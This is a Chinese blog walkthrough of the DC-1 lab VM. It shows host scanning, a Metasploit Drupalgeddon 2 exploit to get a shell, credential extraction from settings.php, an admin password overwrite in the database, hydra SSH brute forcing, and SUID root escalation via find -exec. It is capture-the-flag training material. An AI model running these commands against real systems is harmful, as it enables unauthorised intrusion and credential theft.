• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
28.7的博客
等小白学会了游泳,我们天天海边,学会了滑板,我们夏天去冲浪冬天去滑雪,只要你愿意,我们去经历各种各样有趣的事情~ “鸡毛!我学会了发现冰激凌烧烤奶茶火锅,我们天天去吃!现在就去!” “●﹏●;”
博客园    首页    新随笔    联系   管理    订阅  订阅
DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用
DC-1靶场渗透测试-suid提权-Drupal 7-GetShell Kali-whatweb-nmap-arp使用 本文记录 DC-1 靶场渗透全流程,核心用 Kali 工具链达成目标:先通过 nmap、arp-scan 定位靶机 IP(192.168.20.153),whatweb 识别出 Drupal 7 CMS;再用 msfconsole 利用 Drupalgeddon 2 漏洞 GetShell,读配置文件获 flag1 与数据库账密,改 Drupal 管理员密码登后台拿 flag3;随后 hydra 爆破 flag4 用户 SSH 密码,最后发现 find 命令的 SUID 权限,通过-exec提权至 root,获取终 flag,成功收集 5 个 flag 并达成 root 权限目标

DC-1靶场渗透测试:SUID提权与Drupal 7 GetShell实战

涉及工具:Kali Linux、whatweb、nmap、arp-scan、dirsearch、msfconsole、hydra
核心目标:完成DC-1靶场全流程渗透,获取5个flag并通过SUID提权至root权限

相关靶机推荐

  • DC-2 靶场复现
  • DC-4 靶场复现
  • drippingblues 靶场复现

一、准备靶机

1.1 下载与解压

  • DC-1 靶机链接

解压后得到以下文件,包含虚拟机镜像及配置信息:

图1-1 靶机解压后文件列表

1.2 导入虚拟机

  1. 打开VMware,选择「文件」→「打开」,加载靶机的.vmx文件;
  2. 导入过程中可能出现兼容性报错,点击「重试」即可继续,无需额外配置:

    图1-2 导入报错提示

    图1-3 点击「重试」继续导入
  3. 导入完成后,虚拟机列表将显示「DC-1」,此时靶机准备就绪:

    图1-4 靶机导入成功

二、局域网信息收集

靶机IP未知,需先通过扫描工具识别局域网内存活主机,定位DC-1的IP地址。

2.1 Nmap主机存活扫描

Nmap是网络发现核心工具,-sn参数仅扫描主机存活(不扫描端口,避免触发防护):

# 192.168.20.0/24需替换为本地局域网段(通过ip addr查看Kali网卡信息)
nmap -sn 192.168.20.0/24

扫描结果将显示局域网内所有存活主机的IP与MAC地址:

图2-1 Nmap主机存活扫描结果

2.2 ARP-Scan精准定位

arp-scan通过ARP协议扫描(局域网内无路由转发,结果更精准),可直接关联IP与MAC地址:

arp-scan -l  # -l:扫描本地路由对应的网段(无需手动指定)


图2-2 arp-scan扫描结果

确认靶机IP(关键步骤)

  1. 打开DC-1虚拟机「设置」→「网络适配器」→「高级」,查看靶机MAC地址(示例:00:0C:29:AC:35:D5);

    图2-3 靶机MAC地址(VMware配置)
  2. 对比arp-scan结果,找到对应MAC地址的IP:192.168.20.153(后续渗透均基于此IP);

    图2-4 靶机IP确认

三、深度信息收集

定位靶机IP后,需进一步探测端口、服务版本、CMS类型,寻找渗透突破口。

3.1 Nmap端口与系统探测

-O参数开启操作系统版本探测,扫描靶机开放端口及对应服务:

nmap -O 192.168.20.153

扫描结果分析

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 21:44 CST
Nmap scan report for 192.168.20.153
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:AC:35:D5 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds

关键信息:

  • 仅开放80端口(HTTP服务),运行Apache 2.2.22(Debian系统);
  • 无其他端口开放,渗透突破口集中在Web服务。

3.2 WhatWeb识别Web技术栈

WhatWeb自动检测Web技术栈(CMS、编程语言、服务器等),-v开启详细模式:

whatweb -v 192.168.20.153


图3-1 WhatWeb扫描结果

核心信息汇总(表格优化对齐)

关键信息类别 具体内容
Web服务器版本 Apache 2.2.22
操作系统环境 Debian Linux(Apache/2.2.22 (Debian))
内容管理系统(CMS) Drupal 7(官方链接:http://drupal.org)
前端技术 JQuery(Script类型:text/javascript)
后端编程语言及版本 PHP 5.4.45-0+deb7u14(X-Powered-By:PHP/5.4.45-0+deb7u14)

3.3 访问Web页面与Wappalyzer验证

  1. 浏览器访问http://192.168.20.153,确认Drupal 7默认页面:

    图3-2 Drupal 7默认页面
  2. 安装浏览器扩展「Wappalyzer」,二次验证技术栈(与WhatWeb结果一致):

    图3-3 Wappalyzer验证结果

四、渗透环节:GetShell与Flag获取

4.1 目录FUZZ(Dirsearch)

Dirsearch暴力破解Web路径,寻找隐藏目录/配置文件:

# -u:目标URL;-e*:探测所有常见后缀(php、txt、html等);--full-url:显示完整路径
dirsearch -u http://192.168.20.153 -e* --full-url

关键结果

[22:02:41] 200 -  768B  - http://192.168.20.153/COPYRIGHT.txt  # 确认Drupal版本一致性


图4-1 Dirsearch扫描结果

4.2 Metasploit利用Drupal漏洞GetShell

Drupal 7存在Drupalgeddon 2(SA-CORE-2018-002) 远程代码执行漏洞(漏洞等级:Excellent),可直接GetShell。

步骤1:启动MSF控制台

msfconsole  # 启动Metasploit框架


图4-2 启动MSF控制台

步骤2:搜索并加载漏洞模块

search Drupal  # 筛选Drupal相关漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon2  # 加载Drupalgeddon 2漏洞模块


图4-3 搜索Drupal漏洞模块

步骤3:配置模块参数

show options  # 查看模块必填参数
set RHOSTS 192.168.20.153  # 设置靶机IP(核心参数)
show options  # 确认参数配置(LHOST为Kali本地IP,自动填充)


图4-4 配置漏洞模块参数

图4-5 确认RHOSTS设置

步骤4:执行攻击与获取Shell

exploit  # 启动攻击(成功后获取Meterpreter会话)
shell    # 从Meterpreter切换到目标系统终端


图4-6 攻击成功获取Meterpreter会话

图4-7 切换为系统shell

步骤5:完善交互Shell(关键优化)

默认shell功能有限(无命令补全、上下键历史),通过Python生成标准bash:

python -c 'import pty; pty.spawn("/bin/bash")'  # 生成交互式bash
export TERM=xterm  # 可选:启用终端颜色和全屏支持


图4-8 完善交互shell

4.3 获取Flag1(数据库配置文件)

Flag1提示:“所有优秀的CMS都需要一个配置文件,你也不例外”

Drupal 7核心配置文件路径:/var/www/sites/default/settings.php(存储数据库账密等关键信息):

cat /var/www/sites/default/settings.php  # 读取配置文件


图4-9 Flag1位置

图4-10 查看配置文件内容

数据库关键信息(加粗突出)

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',  # 数据库名
      'username' => 'dbuser',     # 数据库用户名
      'password' => 'R0ck3t',     # 数据库密码(关键)
      'host' => 'localhost',      # 数据库地址(本地)
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

4.4 数据库操作与修改Admin密码(获取Flag2)

步骤1:登录MySQL数据库

使用配置文件中的账密登录(-p后直接跟密码,无空格):

mysql -udbuser -pR0ck3t  # -u:用户名;-p:密码


图4-11 登录MySQL数据库

步骤2:查询Drupal用户表

Drupal用户信息存储在 drupaldb.users 表,密码采用Drupal专用哈希加密:

use drupaldb;                  # 切换到drupal数据库
desc users;                    # 查看users表结构(确认密码字段)
select name, pass from users;  # 查询管理员账号(name=admin)


图4-12 查询users表中的管理员密码(加密)

步骤3:生成Drupal密码哈希

Drupal密码无法直接解密,需生成新哈希覆盖原有密码(使用Drupal自带脚本):

cd /var/www  # 切换到Drupal根目录
./scripts/password-hash.sh admin123  # 生成密码admin123的哈希

生成的哈希(复制备用):
$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8

图4-13 生成新密码哈希

步骤4:更新Admin密码

# 覆盖admin用户的密码(替换为新哈希)
update users set pass = "$S$DuaWUZ2agHsa8/YwbgZg6GtL7HaADOdJllpPSAtP43feHXkNK2m8" where name = 'admin';


图4-14 覆盖管理员密码

4.5 登录Drupal后台获取Flag3

  1. 浏览器访问 http://192.168.20.153/user,使用账号admin、密码admin123登录;
  2. 登录后在「Dashboard」页面找到Flag3:

    图4-15 Drupal后台Flag3

Flag3提示:“特殊权限(Special PERMS)将有助于找到 passwd 文件 —— 但你需要使用 -exec(find 命令参数)来运行相关命令,进而获取 shadow 影子密码文件内容”

4.6 爆破Flag4用户(Hydra)

步骤1:查看/etc/shadow文件(确认目标用户)

/etc/shadow 存储用户密码哈希,发现存在 flag4 用户:

cat /etc/shadow  # 读取影子密码文件


图4-16 /etc/shadow中的flag4用户

步骤2:Hydra爆破SSH密码

DC-1开放SSH服务(22端口),使用Hydra爆破flag4用户密码:

# -l:指定用户名(flag4);-P:密码字典(Kali自带rockyou字典);ssh://目标IP
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.20.153


图4-17 Hydra爆破成功(密码:orange)

步骤3:SSH登录Flag4用户与获取Flag4

ssh flag4@192.168.20.153  # SSH登录flag4用户
# 输入密码orange,登录后执行:
cat flag4.txt  # 查看当前目录的flag4.txt

Flag4提示:“你能使用同样的方法来找到或访问根目录(root)下的目标标识文件(flag)吗?或许可以。但这可能没那么简单。不过,也说不定其实很简单呢?”

图4-18 获取Flag4

五、SUID提权至Root(获取最终Flag)

5.1 SUID权限原理

  • Linux 权限基础

SUID(Set User ID)是Linux特殊权限:

  • 当用户执行带有SUID权限的文件时,将临时获得文件所有者的权限;
  • 若文件所有者为root,则执行该文件时,用户临时拥有root权限(提权核心原理)。

5.2 查找SUID权限文件

通过find命令搜索系统中所有带SUID权限的文件(-perm -u=s表示用户权限含SUID):

# /:搜索根目录;-perm -u=s:筛选SUID权限;-type f:仅文件;2>/dev/null:忽略报错
find / -perm -u=s -type f 2>/dev/null


图5-1 查找SUID文件(find命令含SUID权限)

关键发现:/usr/bin/find 带有SUID权限,且所有者为root——可通过find -exec参数执行命令,临时获得root权限。

5.3 利用Find提权至Root

find -exec 参数:找到文件后执行指定命令,结合SUID权限执行/bin/sh,直接获取root shell:

# 任意找一个存在的文件(如index.php),通过-exec执行/bin/sh
find / -name index.php -exec "/bin/sh" \;

执行后验证权限(已切换为root):

whoami  # 输出root,确认提权成功


图5-2 利用find提权至root

5.4 获取最终Flag(root目录)

root目录下的thefinalflag.txt为最终目标:

cd /root  # 切换到root目录
cat thefinalflag.txt  # 查看最终flag


图5-3 最终Flag内容

最终Flag提示:“做得好!!!希望你喜欢这次体验,并且学到了一些新技能。你可以通过 Twitter 联系我(@DCAU7),告诉我你对这段小旅程的看法”

六、渗透总结(表格优化)

阶段 核心操作 工具/漏洞 目标成果
信息收集 主机存活扫描、端口探测、CMS识别 nmap、arp-scan、whatweb 定位靶机IP(192.168.20.153)、识别Drupal 7
GetShell 利用Drupalgeddon 2漏洞远程代码执行 msfconsole 获取系统shell(www-data权限)
权限提升(1) 读取数据库配置、修改Drupal管理员密码 MySQL、Drupal密码脚本 登录后台获取Flag3
权限提升(2) Hydra爆破SSH、SUID提权(find命令) hydra、find 获得root权限
目标达成 获取5个Flag(含最终root目录Flag) —— 完成DC-1全流程渗透

posted on 2025-11-11 13:54  28的博客  阅读(21)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3

摘自:28.7的博客

蜀ICP备2025124055号-2